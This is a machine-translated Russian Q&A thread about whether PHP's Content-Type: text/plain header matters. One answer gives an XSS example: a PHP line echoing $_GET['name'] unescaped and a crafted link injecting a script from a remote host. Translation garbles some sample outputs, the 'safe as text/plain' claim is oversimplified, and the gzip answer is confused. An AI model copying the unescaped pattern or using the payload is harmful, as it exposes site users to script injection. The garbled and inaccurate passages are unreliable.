Intereting Posts
Вызов веб-службы ASMX с PHP, когда операторы принимают интерфейс Получение измененной модели обхода дерева предзаказов (вложенный набор) в <ul> Сохранение и отображение изображения с использованием холста в базе данных Рекурсия с использованием PHP Simple DOM Parser Отправить значения из нескольких текстовых полей в виде массивов Как вы используете предложения IN с подготовленными операциями mysqli возможно ли добавлять свойства к классу в PHP во время выполнения? Определить версию iOS ниже, чем iOS 8 php как отображать данные отношения в формате json из двух таблиц в yii2 restful api Symfony2 Пользовательская ошибка 404 страница PHP Показать исходный код вместо файла .html Запрос веб-сайта по сценарию на стороне клиента = Скрипт с перекрестным скриптом. Но запрашивать веб-сайт по сценарию на стороне сервера – это не взлом! Зачем? Как заставить php работать в Mac OS X? Запрос POST с JSON-словарем не возвращает правильное значение с $ _POST в Swift 3? Как можно запускать несколько версий PHP 5.x на сервере LAMP разработки?

Заголовок ('Content-Type: text / plain'); необходимо вообще?

Я еще не видел никакой разницы с этой головной информацией или без нее.

Определите «необходимый».

Это необходимо, если вы хотите, чтобы браузер знал, что такое тип файла. PHP автоматически устанавливает заголовок Content-Type в text/html если вы не переопределяете его, поэтому ваш браузер обрабатывает его как HTML-файл, который не содержит HTML. Если на вашем выходе содержится какой-либо HTML-код, вы увидите очень разные результаты. Если вы должны были отправить:

 <b><i>test</i></b> 

Content-Type: text/html будет выводиться:

контрольная работа

тогда как Content-Type: text/plain будет выводить:

 <b><i>test</i></b> 

Версия TLDR: если вы действительно выводите текст, это не имеет большого значения, но это неправильно.

PHP использует Content-Type «text / html» по умолчанию, что очень похоже на «text / plain» – и это объясняет, почему вы не видите различий. text / plain необходим, если вы хотите вывести текст как есть (включая <> – символы). Примеры:

 header("Content-Type: text/plain"); echo "<b>hello world</b>"; // Output: <b>hello world</b> header("Content-Type: text/html"); echo "<b>hello world</b>"; // Output: hello world 

Настройка заголовка Content-Type повлияет на то, как веб-браузер обрабатывает ваш контент. Когда большинство основных веб-браузеров сталкиваются с Content-Type текста / plain, они будут отображать исходный текст в окне браузера (в отличие от источника, отображаемого в HTML). Это разница между

 <b>foo</b> 

или

Foo

Кроме того, при использовании объекта XMLHttpRequest заголовок Content-Type будет влиять на то, как браузер выполняет сериализацию возвращенных результатов. До захвата фреймов AJAX, таких как jQuery и Prototype, общей проблемой с ответами AJAX был набор Content-Type для text / html вместо text / xml. Аналогичные проблемы могут возникнуть, если Content-Type был текстовым / равным.

Очень важно, чтобы вы сообщали браузеру, какой тип данных вы его отправляете. Разница должна быть очевидной. Попробуйте просмотреть выходные данные следующего файла PHP в своем браузере;

 <?php header('Content-Type:text/html'); ?> <p>Hello</p> 

Ты увидишь:

Здравствуйте

(обратите внимание, что вы получите те же результаты, если в этом случае вы пропустите строку заголовка – text / html – по умолчанию php)

Измените его на текстовый / обычный

 <?php header('Content-Type:text/plain'); ?> <p>Hello</p> 

Ты увидишь:

<Р> Hello </ p>

Почему это имеет значение? Если в php-скрипте есть что-то вроде следующего: например, используется запрос ajax:

 <?php header('Content-Type:text/html'); print "Your name is " . $_GET['name'] 

Кто-то может поместить ссылку на URL-адрес, например http://example.com/test.php?name=%3Cscript%20src=%22http://example.com/eviljs%22%3E%3C/script%3E, на их сайт, и если пользователь нажмет на него, они выставят всю свою информацию на вашем сайте тому, кто разместил ссылку. Если вы обслуживаете файл как текстовый / обычный, вы в безопасности.

Обратите внимание, что это глупый пример, скорее всего, тег плохих скриптов будет добавлен злоумышленником в поле в базе данных или с помощью отправки формы.

Предположим, вы хотите ответить на запрос с статусом HTTP 204: No Content HTTP. Firefox будет жаловаться на «элемент не найден» в консоли браузера. Это ошибка в Firefox, о которой сообщалось, но никогда не исправлялась в течение нескольких лет. Отправляя заголовок Content-type: text / plain, вы можете предотвратить эту ошибку в Firefox.

нет, это не так, вот пример для поддержки моего ответа —-> очевидная разница видна, когда вы переходите на сжатие HTTP, что позволяет вам сжимать данные во время путешествия с сервера на клиент и тип эти данные автоматически становятся «gzip», который сообщает браузеру, что bowser получил заархивированные данные, и он должен его повышать , это пример, когда Type действительно имеет значение в Bowser.